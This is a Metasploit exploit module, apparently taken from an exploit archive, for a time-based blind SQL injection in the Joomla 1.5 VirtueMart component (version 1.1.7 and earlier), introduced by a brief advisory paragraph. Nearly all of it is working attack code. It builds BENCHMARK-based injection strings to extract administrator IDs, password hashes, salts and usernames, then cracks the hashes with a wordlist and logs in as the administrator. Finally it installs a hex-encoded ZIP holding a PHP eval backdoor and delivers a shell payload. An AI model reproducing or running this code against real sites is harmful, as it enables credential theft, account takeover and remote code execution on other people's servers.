A vulnerability was discovered by Rocco Calvi and Steve Seeley which identifies unauthenticated time-based blind SQL injection in the "page" variable of the virtuemart component. This vulnerability allows an attacker to gain information from the database with specially crafted URLs taking advantage of the MySQL benchmark. This issue was patched in version 1.1.7a.
77bb79231bbb028fe492542d9e61d644cb065950ffe0899ea78eccb932223ecb
# Exploit Title: Joomla 1.5 com_virtuemart <= 1.1.7 blind time-based sql injection MSF module
# Date: Thu Jul 28, 2011
# Author: TecR0c - tecr0c.mythsec [@] gmail.com
# Version: <= 1.1.7
# Download: https://dev.virtuemart.net/projects/virtuemart/files
# Greetz: mythsec team, James Bercega for code base for sqli blind
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Joomla 1.5 VirtueMart Component <= 1.1.7 Blind SQL Injection',
'Description' => %q{
A vulnerability was discovered by Rocco Calvi and Steve Seeley which identifies
unauthenticated time-based blind SQL injection in the "page" variable of the
virtuemart component. This vulnerability allows an attacker to gain information
from the database with specially crafted URLs taking advantage of the MySQL
benchmark. This issue was patched in version 1.1.7a.
},
'Author' =>
[
'TecR0c', #Initial discovery, msf module
'mr_me', #Initial discovery with TecR0c
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'https://www.exploit-db.com/exploits/17132/' ],
[ 'URL','https://www.stratsec.net/Research/Advisories/' ],
],
'Privileged' => false,
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [[ 'Automatic', { }]],
'DisclosureDate' => 'Feb 11 2011',
'DefaultTarget' => 0 ))
register_options(
[
OptString.new('JDIR', [true, 'Joomla directory', '/']),
OptInt.new('BMCT', [true, 'Benchmark Counter', 50000000 ]),
OptInt.new('BMDF', [true, 'Benchmark Difference', 3 ]),
OptInt.new('BMRC', [true, 'Benchmark Request Count', 1 ]),
OptString.new('WLIST', [true,
'Wordlist location',
'/home/foo/bar.txt'
]),
OptString.new('AGNT', [false, 'User Agent Info', 'Mozilla/5.0' ]),
OptString.new('PREF', [false, 'Database prefixt', 'jos_' ]),
OptString.new('JQRY', [false,
'URI to trigger bug',
'index.php?option=com_virtuemart&page=1'
])
], self.class)
end
#################################################
# Extract "Set-Cookie"
def init_cookie(data, cstr = true)
# Raw request? Or cookie data specifically?
data = data.headers['Set-Cookie'] ? data.headers['Set-Cookie']: data
# Beginning
if ( data )
# Break them apart
data = data.split(', ')
# Initialize
ctmp = ''
tmps = {}
# Parse cookies
data.each do | x |
# Remove extra data
x = x.split(';')[0]
# Seperate cookie pairs
if ( x =~ /([^;\s]+)=([^;\s]+)/im )
# Key
k = $1
# Val
v = $2
# Valid cookie value?
if ( v.length() > 0 )
# Build cookie hash
tmps[k] = v
# Report cookie status
print_status("Got Cookie: #{k} => #{v}");
end
end
end
# Build string data
if ( cstr == true )
# Loop
tmps.each do |x,y|
# Cookie key/value
ctmp << "#{x}=#{y};"
end
# Assign
tmps['cstr'] = ctmp
end
# Return
return tmps
else
# Something may be wrong
init_debug("No cookies within the given response")
end
end
#################################################
# Simple debugging output
def init_debug(resp, exit = 0)
# Continue execution
if ( exit.to_i > 0 )
# Exit
exit(0)
end
end
#################################################
# Generic post wrapper
def http_post(url, data, headers = {}, timeout = 15)
# Protocol
proto = datastore['SSL'] ? 'https': 'http'
# Determine request url
url = url.length ? url: ''
# Determine User-Agent
headers['User-Agent'] = headers['User-Agent'] ?
headers['User-Agent'] : datastore['AGNT']
# Determine Content-Type
headers['Content-Type'] = headers['Content-Type'] ?
headers['Content-Type'] : "application/x-www-form-urlencoded"
# Determine Content-Length
headers['Content-Length'] = data.length
# Determine Referer
headers['Referer'] = headers['Referer'] ?
headers['Referer'] : "#{proto}://#{datastore['RHOST']}#{datastore['JDIR']}"
# Delete all the null headers
headers.each do | hkey, hval |
# Null value
if ( !hval )
# Delete header key
headers.delete(hkey)
end
end
# Send request
resp = send_request_raw(
{
'uri' => datastore['JDIR'] + url,
'method' => 'POST',
'data' => data,
'headers' => headers
},
timeout )
# Returned
return resp
end
#################################################
# Generic post multipart wrapper
def http_post_multipart(url, data, headers = {}, timeout = 15)
# Boundary string
bndr = Rex::Text.rand_text_alphanumeric(8)
# Protocol
proto = datastore['SSL'] ? 'https': 'http'
# Determine request url
url = url.length ? url: ''
# Determine User-Agent
headers['User-Agent'] = headers['User-Agent'] ?
headers['User-Agent'] : datastore['AGNT']
# Determine Content-Type
headers['Content-Type'] = headers['Content-Type'] ?
headers['Content-Type'] : "multipart/form-data; boundary=#{bndr}"
# Determine Referer
headers['Referer'] = headers['Referer'] ?
headers['Referer'] : "#{proto}://#{datastore['RHOST']}#{datastore['JDIR']}"
# Delete all the null headers
headers.each do | hkey, hval |
# Null value
if ( !hval )
# Delete header key
headers.delete(hkey)
end
end
# Init
temp = ''
# Parse form values
data.each do |name, value|
# Hash means file data
if ( value.is_a?(Hash) )
# Validate form fields
filename = value['filename'] ? value['filename']:
init_debug("Filename value missing from #{name}", 1)
contents = value['contents'] ? value['contents']:
init_debug("Contents value missing from #{name}", 1)
mimetype = value['mimetype'] ? value['mimetype']:
init_debug("Mimetype value missing from #{name}", 1)
encoding = value['encoding'] ? value['encoding']: "Binary"
# Build multipart data
temp << "--#{bndr}\r\n"
temp << "Content-Disposition: form-data; name=\"#{name}\"
; filename=\"#{filename}\"\r\n"
temp << "Content-Type: #{mimetype}\r\n"
temp << "Content-Transfer-Encoding: #{encoding}\r\n"
temp << "\r\n"
temp << "#{contents}\r\n"
else
# Build multipart data
temp << "--#{bndr}\r\n"
temp << "Content-Disposition: form-data; name=\"#{name}\";\r\n"
temp << "\r\n"
temp << "#{value}\r\n"
end
end
# Complete the form data
temp << "--#{bndr}--\r\n"
# Assigned
data = temp
# Determine Content-Length
headers['Content-Length'] = data.length
# Send request
resp = send_request_raw(
{
'uri' => datastore['JDIR'] + url,
'method' => 'POST',
'data' => data,
'headers' => headers
},
timeout)
# Returned
return resp
end
#################################################
# Generic get wrapper
def http_get(url, headers = {}, timeout = 15)
# Protocol
proto = datastore['SSL'] ? 'https': 'http'
# Determine request url
url = url.length ? url: ''
# Determine User-Agent
headers['User-Agent'] = headers['User-Agent'] ?
headers['User-Agent'] : datastore['AGNT']
# Determine Referer
headers['Referer'] = headers['Referer'] ?
headers['Referer'] : "#{proto}://#{datastore['RHOST']}#{datastore['JDIR']}"
# Delete all the null headers
headers.each do | hkey, hval |
# Null value // Also, remove post specific data, due to a bug ...
if ( !hval || hkey == "Content-Type" || hkey == "Content-Length" )
# Delete header key
headers.delete(hkey)
end
end
# Send request
resp = send_request_raw({
'uri' => datastore['JDIR'] + url,
'headers' => headers,
'method' => 'GET',
}, timeout)
# Returned
return resp
end
#################################################
# Used to perform benchmark querys
def sql_benchmark(test, hdrs, table = nil, where = '1+LIMIT+1', tnum = nil )
# Init
wait = 0
# Defaults
table = table ? table: 'users'
# SQL Injection string used to trigger the MySQL BECNHMARK() function
sqli = ("'+UNION+SELECT+IF(#{test},+BENCHMARK(#{datastore['BMCT']},\
+MD5(1)),+0)+FROM+#{datastore['PREF']}#{table}+WHERE+#{where}--+sqli.page")
# Number of tests to run. We run this
# amount of tests and then look for a
# median value that is greater than
# the benchmark difference.
tnum = tnum ? tnum: datastore['BMRC']
# Run the tests
tnum.to_i.times do | i |
# Start time
bmc1 = Time.now.to_i
# Make the request
init_debug(http_get("#{datastore['JQRY']}#{sqli}", hdrs))
# End time
bmc2 = Time.now.to_i
# Total time
wait += bmc2 - bmc1
end
# Return the results
return ( wait.to_i / tnum.to_i )
end
#################################################
# Used to perform benchmark querys
def sql_benchmark_2(hdrs, columns = nil, table = nil, where = '1+LIMIT+1', tnum = nil )
# Init
wait = 0
# Defaults
table = table ? table: 'users'
# SQL Injection string used to trigger the MySQL BECNHMARK() function
sqli = (
"'+UNION+SELECT+IF(substring((select+#{columns}+FROM+#{datastore['PREF']}#{table}+WHERE+#{where}),1,1),BENCHMARK(#{datastore['BMCT']},+MD5(1)),+0)--+sqli.page")
# Number of tests to run. We run this
# amount of tests and then look for a
# median value that is greater than
# the benchmark difference.
tnum = tnum ? tnum: datastore['BMRC']
# Run the tests
tnum.to_i.times do | i |
# Start time
bmc1 = Time.now.to_i
# Make the request
init_debug(http_get("#{datastore['JQRY']}#{sqli}", hdrs))
# End time
bmc2 = Time.now.to_i
# Total time
wait += bmc2 - bmc1
end
# Return the results
return ( wait.to_i / tnum.to_i )
end
#################################################
def get_password(hash, salt, opts = nil)
# Wordlist
wlst = datastore['WLIST']
# Init
cntr = 0
# Verbose
print_status("Attempting to crack admin password hash")
# Valid hash length only
if ( hash.length != 32 )
# Failure
print_error("Invalid Joomla MD5 hash: #{hash.to_s}")
return nil
end
# Does the wordlist exist?
if ( !File.exist?(wlst) )
# Failure
print_error("Unable to load wordlist: #{wlst}")
return nil
else
# Load the wordlist file
list = File.readlines(wlst)
end
# Verbose
print_status("Loaded #{list.count.to_s} words from the specified list")
print_status("This may take quite some time ...")
# Start time
bmc1 = Time.now.to_i
# Loop through list
list.each do | word |
# Cleanup
word = word.strip
# Counter
cntr = cntr + 1
# Attempt to find the plaintext password
if ( hash == Rex::Text.md5(word + salt) )
# Success!
print_status("Successfully cracked the following hash")
print_status("#{hash} => #{salt} == #{word}")
# Ended time
bmc2 = Time.now.to_i
# Duration
bmc3 = bmc2 - bmc1
bmc3 = ( bmc3 < 60 ) ? "#{bmc3} seconds": "#{(bmc3/60)} minutes"
# Verbose
print_status("Operation completed in #{bmc3}")
# Return
return word
end # if
end # each
# Failure
print_error("Unable to crack the following hash")
print_error("#{hash} => #{salt} == ???")
# Ended time
bmc2 = Time.now.to_i
# Duration
bmc3 = bmc2 - bmc1
bmc3 = ( bmc3 < 60 ) ? "#{bmc3} seconds": "#{(bmc3/60)} minutes"
# Verbose
print_status("Operation completed in #{bmc3}")
# Return
return nil
end
#################################################
def get_users_data(hdrs, snum, slim, cset, sqlf, sqlw)
# Start time
tot1 = Time.now.to_i
# Initialize
reqc = 0
retn = String.new
# Extract salt
for i in snum..slim
# Offset position
oset = ( i - snum ) + 1
# Loop charset
for cbit in cset
# Test character
cbit.each do | cchr |
# Start time (overall)
bmc1 = Time.now.to_i
# Benchmark query
bmcv = sql_benchmark("SUBSTRING(#{sqlf},#{i},1)+LIKE+BINARY+CHAR(#{cchr.ord})",
hdrs,"users", sqlw, datastore['BMRC'])
# Noticable delay? We must have a match! ;)
if ( bmcv >= ( datastore['BMC0'] + datastore['BMDF'].to_i ) )
# Verbose
print_status(sprintf("Character %02s is %s", oset.to_s, cchr ))
# Append chr
retn << cchr
# Exit loop
break
end
# Counter
reqc += 1
end # each
end # for
# Host not vulnerable?
if ( oset != retn.length )
# Failure
print_error("Unable to extract character ##{oset.to_s}\
. Extraction failed!")
return nil
end
end # for
# End time (total)
tot2 = Time.now.to_i
# Benchmark totals
tot3 = tot2 - tot1
# Verbose
print_status("Found data: #{retn}")
print_status("Operation required #{reqc.to_s} requests (#{( tot3 / 60).to_s} minutes)")
# Return
return retn
end
#################################################
def check
print_status("Attempting to determine virtuemart version")
resp = http_get("modules/mod_virtuemart_currencies/mod_virtuemart_currencies.xml")
# Extract Joomla version information
if ( resp.body =~ /<version>([^\s]+)<\/version>/ )
# Version
vers = $1.strip
# Version "parts"
ver1, ver2, ver3 = vers.split(/\./)
# Only if version 1.1.7
if ( ver3.to_i >= 7)
# Exploit failed
init_debug(resp)
print_status("Please confirm manually")
return Exploit::CheckCode::Safe
else
print_status("The target is running VirtueMart : #{vers}")
return Exploit::CheckCode::Vulnerable
end
else
# Verbose
print_error("Unable to determine Joomla version ...")
end
end
#################################################
def exploit
# Numeric test string
tstr = Time.now.to_i.to_s
# MD5 test string
tmd5 = Rex::Text.md5(tstr)
# Encoded payload
load = payload.encoded
#################################################
# STEP 02 // Get the cookie for virtuemart :)
#################################################
# request to get virtuemart cookie
resp = http_get("index.php?option=com_virtuemart&page=1")
# Init cookie
cook = init_cookie(resp)
# Build headers for authenticated session
hdrs = { "Cookie" => cook['cstr'] }
#################################################
# STEP 03 // Calculate BENCHMARK() response times
#################################################
# Verbose
print_status("Calculating target response times")
print_status("Benchmarking #{datastore['BMRC']} normal requests")
# Normal request median (globally accessible)
datastore['BMC0'] = sql_benchmark("1=2", hdrs)
# Verbose
print_status("Normal request avg: #{datastore['BMC0'].to_s} seconds")
print_status("Benchmarking #{datastore['BMRC']} delayed requests")
# Delayed request median
bmc1 = sql_benchmark("1=1", hdrs)
# Verbose
print_status("Delayed request avg: #{bmc1.to_s} seconds")
# Benchmark totals
bmct = bmc1 - datastore['BMC0']
# Delay too small. The host may not be
# vulnerable. Try increasing the BMCT.
if ( bmct.to_i < datastore['BMDF'].to_i )
# Verbose
print_error("your benchmark threshold is small, or host is not vulnerable")
print_error("increase the benchmark threshold adjust the value of the BMDF")
print_error("increase the expression iterator adjust the value of the BMCT")
return
else
# Host appears exploitable
print_status("Request Difference: #{bmct.to_s} seconds")
end
#################################################
# STEP 04 // Attempting to find a valid admin id
#################################################
atot = 0 # Total admins
scnt = 0 # Step counter
step = 10 # Step increment
slim = 10000 # Step limit
# 42 is the hard coded base uid within Joomla ...
# ... and the answer to the ultimate question! ;]
snum = ( !defined?(auid) ) ? 62: auid # changed from 42 to 62
# Verbose
print_status("Calculating total number of administrators")
# Check how many admin accounts are in the database
for i in 0..slim do
# Benchmark
bmcv = sql_benchmark_2(hdrs, "gid", "users", "gid=25+LIMIT+#{i.to_s},1",datastore['BMRC'])
# If we do not have a delay, then we have reached the end ...
if ( !( bmcv >= ( datastore['BMC0'] + datastore['BMDF'].to_i ) ) )
# Range
atot = i
# Verbose
print_status("Successfully confirmed #{atot.to_s} admin accounts")
# Exit loop
break
end
end
# Loops until limit
while ( snum < slim && scnt < atot )
# Verbose
print_status("Attempting to find a valid admin ID")
# Verbose
print_status("Stepping from #{snum.to_s} to #{slim.to_s} by #{step.to_s}")
for i in snum.step(slim, step)
bmcv = 0
# Benchmark
bmcv = sql_benchmark("#{i}+>+id", hdrs, "users","gid=25+LIMIT+#{scnt.to_s},1", datastore['BMRC'])
# Noticable delay? We must have a match! ;)
if ( bmcv >= ( datastore['BMC0'] + datastore['BMDF'].to_i ) )
# Range
itmp = i
# Exit loop
break
else
# Out of time ..
if ( i == slim )
# Failure
print_error("Unable to find a valid user id. Exploit failed!")
return
end
end
end
# Jump back by #{step} and increment by one
for i in ( snum ).upto(( itmp ))
bmcv = 0
auid = 0
# Benchmark
bmcv = sql_benchmark("id+=+#{i}", hdrs, "users", "gid=25",
datastore['BMRC'])
# Noticable delay? We must have a match! ;)
if ( bmcv >= ( datastore['BMC0'] + datastore['BMDF'].to_i ) )
# UserID - first time auid gets set to 62
auid = i
# Verbose
print_status("Found a valid admin account uid : #{auid.to_s}")
# Step Counter
scnt += 1
# Exit loop
break
else
# Out of time ..
if ( i == ( itmp + step ) )
# Failure
print_error("Unable to find a valid user id. Exploit failed!")
return
end
end
end
#################################################
# These are the charsets used for the enumeration
# operations and can be easily expanded if needed
#################################################
# Hash charset a-f0-9
hdic = [ ('a'..'f'), ('0'..'9') ]
# Salt charset a-zA-Z0-9
sdic = [ ('a'..'z'), ('A'..'Z'), ('0'..'9') ]
# Username charset
udic = [ ('a'..'z'), ('A'..'Z'), ('0'..'9') ]
#################################################
# STEP 05 // Attempt to extract admin pass hash
#################################################
# Verbose
print_status("Attempting to gather admin password hash")
# Get pass hash - changed bs
if ( auid != 0 && !( hash = get_users_data(
hdrs, # Pass cookie value
1, # Length Start
32, # Length Maximum
hdic, # Charset Array
"password", # SQL Field name
"id=#{auid.to_s}" # SQL Where data
) ) )
# Failure
print_error("Unable to gather admin pass hash. Exploit failed!!")
return
end
#################################################
# STEP 06 // Attempt to extract admin pass salt
#################################################
# Verbose
print_status("Attempting to gather admin password salt")
# Get pass salt - changed bs
if ( auid != 0 && !( salt = get_users_data(
hdrs, # Pass cookie value
34, # Length Start
65, # Length Maximum
sdic, # Charset Array
"password", # SQL Field name
"id=#{auid.to_s}" # SQL Where data
) ) )
# Failure
print_error("Unable to gather admin pass salt. Exploit failed!!")
return
end
#################################################
# STEP 07 // Attempt to crack the extracted hash
#################################################
# Attempt to crack password hash - changed bs
if ( auid != 0 )
pass = get_password(hash, salt)
end
# Got pass? - changed bs
if ( auid != 0 && pass )
#################################################
# STEP 08 // Attempt to extract admin username
#################################################
# Verbose
print_status("Attempting to determine target username length")
# Hard limit is 150
for i in 1.upto(150)
# Benchmark
bmcv = sql_benchmark("LENGTH(username)=#{i.to_s}", hdrs,
"users", "id=#{auid.to_s}", datastore['BMRC'])
# Noticable delay? We must have a match! ;)
if ( bmcv >= ( datastore['BMC0'] + datastore['BMDF'].to_i ) )
# Length
ulen = i
# Verbose
print_status("The username is #{i.to_s} characters long")
# Exit loop
break
end
end
# Verbose
print_status('Gathering admin username')
# Get pass salt
if ( !( user = get_users_data(
hdrs, # Pass cookie value
1, # Length Start
ulen, # Length Maximum
udic, # Charset Array
"username", # SQL Field name
"id=#{auid.to_s}" # SQL Where data
) ) )
# Failure
print_error("Unable to gather admin user name. Exploit failed!!")
return
end
# Verbose
print_status("Attempting to extract a valid request token")
# Request a valid token
resp = http_get("administrator/index.php")
# Extract token
if ( resp.body =~ /['|"]([a-f0-9]{32})["|']/ )
# Token
rtok = $1
# Verbose
print_status("Got token: #{rtok}")
else
# Failure
print_error("Unable to extract request token. Exploit failed!")
init_debug(resp)
return
end
# Init cookie
cook = init_cookie(resp)
# Build headers for authenticated session
hdrs = { "Cookie" => cook['cstr'] }
#################################################
# STEP 09 // Attempt to authenticate as the admin
#################################################
# Verbose
print_status("Attempting to login as: #{user}")
# Post data for login request
post = "username=#{user}&passwd=#{pass}\
〈=&option=com_login&task=login&#{rtok}=1"
# Login request
resp = http_post("administrator/index.php", post, hdrs)
# Authentication successful???
if ( resp && resp.code == 303 )
# Success
print_status("Successfully logged in as: #{user}")
else
# Failure
print_error("Unable to authenticate. Exploit failed!")
init_debug(resp)
return
end
#################################################
# STEP 10 // Upload wrapper and execute payload!
#################################################
# Verbose
print_status("Attempting to extract refreshed request token")
# Request a valid token (again)
resp = http_get("administrator/index.php?option=com_installer",hdrs)
# Extract token
if ( resp.body =~ /['|"]([a-f0-9]{32})["|']/ )
# Token
rtok = $1
# Verbose
print_status("Got token: #{rtok}")
else
# Failure
print_error("Unable to extract request token. Exploit failed!")
init_debug(resp.body)
return
end
# Component specific data
cstr = "joomla"
czip = "com_#{cstr}.zip"
curi = "components/com_#{cstr}/#{cstr}.php"
#################################################
# Our Joomla specific PHP payload wrapper that is
# used to have more flexibility when delivering a
# selected payload to a target. The wrapper is in
# the Joomla! 1.6 compononent format and can also
# be used with other Joomla exploits.
#################################################
#
# Type: Joomla 1.6 Component
# File: com_joomla/joomla.xml <-- installer file
# com_joomla/joomla.php <-- component file
#
# Data: <?php
# # Modify settings
# error_reporting(0);
# ini_set('max_execution_time', 0);
#
# # Execute the selected payload, and delete the wrapper
# @eval(base64_decode(file_get_contents('php://input')));
# ?>
#################################################
# Hex encoded component zip data
wrap = "\x50\x4B\x03\x04\x0A\x00\x00\x00\x00\x00\x65\xB3\x9A\x3E\x00\x00"
wrap << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0B\x00\x00\x00\x63\x6F"
wrap << "\x6D\x5F\x6A\x6F\x6F\x6D\x6C\x61\x2F\x50\x4B\x03\x04\x0A\x00\x00"
wrap << "\x00\x00\x00\x35\xB2\x9A\x3E\x53\x03\xF2\xF9\xAF\x00\x00\x00\xAF"
wrap << "\x00\x00\x00\x15\x00\x00\x00\x63\x6F\x6D\x5F\x6A\x6F\x6F\x6D\x6C"
wrap << "\x61\x2F\x6A\x6F\x6F\x6D\x6C\x61\x2E\x70\x68\x70\x3C\x3F\x70\x68"
wrap << "\x70\x0D\x0A\x23\x20\x4D\x6F\x64\x69\x66\x79\x20\x73\x65\x74\x74"
wrap << "\x69\x6E\x67\x73\x0D\x0A\x65\x72\x72\x6F\x72\x5F\x72\x65\x70\x6F"
wrap << "\x72\x74\x69\x6E\x67\x28\x30\x29\x3B\x0D\x0A\x69\x6E\x69\x5F\x73"
wrap << "\x65\x74\x28\x27\x6D\x61\x78\x5F\x65\x78\x65\x63\x75\x74\x69\x6F"
wrap << "\x6E\x5F\x74\x69\x6D\x65\x27\x2C\x20\x30\x29\x3B\x0D\x0A\x0D\x0A"
wrap << "\x23\x20\x45\x78\x65\x63\x75\x74\x65\x20\x74\x68\x65\x20\x73\x65"
wrap << "\x6C\x65\x63\x74\x65\x64\x20\x70\x61\x79\x6C\x6F\x61\x64\x0D\x0A"
wrap << "\x40\x65\x76\x61\x6C\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63"
wrap << "\x6F\x64\x65\x28\x66\x69\x6C\x65\x5F\x67\x65\x74\x5F\x63\x6F\x6E"
wrap << "\x74\x65\x6E\x74\x73\x28\x27\x70\x68\x70\x3A\x2F\x2F\x69\x6E\x70"
wrap << "\x75\x74\x27\x29\x29\x29\x3B\x0D\x0A\x3F\x3E\x50\x4B\x03\x04\x0A"
wrap << "\x00\x00\x00\x00\x00\x91\xB6\x9A\x3E\x8D\x4A\x99\xA9\x07\x01\x00"
wrap << "\x00\x07\x01\x00\x00\x15\x00\x00\x00\x63\x6F\x6D\x5F\x6A\x6F\x6F"
wrap << "\x6D\x6C\x61\x2F\x6A\x6F\x6F\x6D\x6C\x61\x2E\x78\x6D\x6C\x3C\x3F"
wrap << "\x78\x6D\x6C\x20\x76\x65\x72\x73\x69\x6F\x6E\x3D\x22\x31\x2E\x30"
wrap << "\x22\x20\x65\x6E\x63\x6F\x64\x69\x6E\x67\x3D\x22\x75\x74\x66\x2D"
wrap << "\x38\x22\x3F\x3E\x0D\x0A\x3C\x65\x78\x74\x65\x6E\x73\x69\x6F\x6E"
wrap << "\x20\x74\x79\x70\x65\x3D\x22\x63\x6F\x6D\x70\x6F\x6E\x65\x6E\x74"
wrap << "\x22\x20\x76\x65\x72\x73\x69\x6F\x6E\x3D\x22\x31\x2E\x36\x2E\x30"
wrap << "\x22\x3E\x20\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x6E\x61"
wrap << "\x6D\x65\x3E\x4A\x6F\x6F\x6D\x6C\x61\x3C\x2F\x6E\x61\x6D\x65\x3E"
wrap << "\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x66\x69\x6C\x65\x73"
wrap << "\x20\x66\x6F\x6C\x64\x65\x72\x3D\x22\x73\x69\x74\x65\x22\x3E\x3C"
wrap << "\x66\x69\x6C\x65\x6E\x61\x6D\x65\x3E\x6A\x6F\x6F\x6D\x6C\x61\x2E"
wrap << "\x70\x68\x70\x3C\x2F\x66\x69\x6C\x65\x6E\x61\x6D\x65\x3E\x3C\x2F"
wrap << "\x66\x69\x6C\x65\x73\x3E\x20\x0D\x0A\x20\x20\x20\x20\x20\x20\x20"
wrap << "\x20\x3C\x61\x64\x6D\x69\x6E\x69\x73\x74\x72\x61\x74\x69\x6F\x6E"
wrap << "\x3E\x3C\x6D\x65\x6E\x75\x3E\x4A\x6F\x6F\x6D\x6C\x61\x3C\x2F\x6D"
wrap << "\x65\x6E\x75\x3E\x3C\x2F\x61\x64\x6D\x69\x6E\x69\x73\x74\x72\x61"
wrap << "\x74\x69\x6F\x6E\x3E\x0D\x0A\x3C\x2F\x65\x78\x74\x65\x6E\x73\x69"
wrap << "\x6F\x6E\x3E\x0D\x0A\x50\x4B\x01\x02\x14\x00\x0A\x00\x00\x00\x00"
wrap << "\x00\x65\xB3\x9A\x3E\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
wrap << "\x00\x0B\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00"
wrap << "\x00\x00\x00\x63\x6F\x6D\x5F\x6A\x6F\x6F\x6D\x6C\x61\x2F\x50\x4B"
wrap << "\x01\x02\x14\x00\x0A\x00\x00\x00\x00\x00\x35\xB2\x9A\x3E\x53\x03"
wrap << "\xF2\xF9\xAF\x00\x00\x00\xAF\x00\x00\x00\x15\x00\x00\x00\x00\x00"
wrap << "\x00\x00\x00\x00\x20\x00\x00\x00\x29\x00\x00\x00\x63\x6F\x6D\x5F"
wrap << "\x6A\x6F\x6F\x6D\x6C\x61\x2F\x6A\x6F\x6F\x6D\x6C\x61\x2E\x70\x68"
wrap << "\x70\x50\x4B\x01\x02\x14\x00\x0A\x00\x00\x00\x00\x00\x91\xB6\x9A"
wrap << "\x3E\x8D\x4A\x99\xA9\x07\x01\x00\x00\x07\x01\x00\x00\x15\x00\x00"
wrap << "\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\x00\x0B\x01\x00\x00\x63"
wrap << "\x6F\x6D\x5F\x6A\x6F\x6F\x6D\x6C\x61\x2F\x6A\x6F\x6F\x6D\x6C\x61"
wrap << "\x2E\x78\x6D\x6C\x50\x4B\x05\x06\x00\x00\x00\x00\x03\x00\x03\x00"
wrap << "\xBF\x00\x00\x00\x45\x02\x00\x00\x00\x00"
# Verbose
print_status("Attempting to upload payload wrapper component")
# Post data
data = {
# Component data
'install_package' =>
{
'filename' => czip,
'contents' => wrap,
'mimetype' => 'application/zip',
'encoding' => 'binary',
},
# Required install params
"installtype" => "upload",
"task" => "install.install",
"#{rtok}" => "1",
}
# Upload the wrapper component
init_debug(http_post_multipart("administrator/index.php?option=\
com_installer&view=install", data, hdrs))
# Deliver the selected payload to the target
init_debug(http_post(curi, Rex::Text.encode_base64(load)))
# Shell
handler
return
else
# Verbose
print_error("Failed to crack hash. Searching for new admin account ...")
end # if
snum += 1
end # while
# Verbose
print_error("Unable to crack any admin hashes. Try a better wordlist?")
return
end
end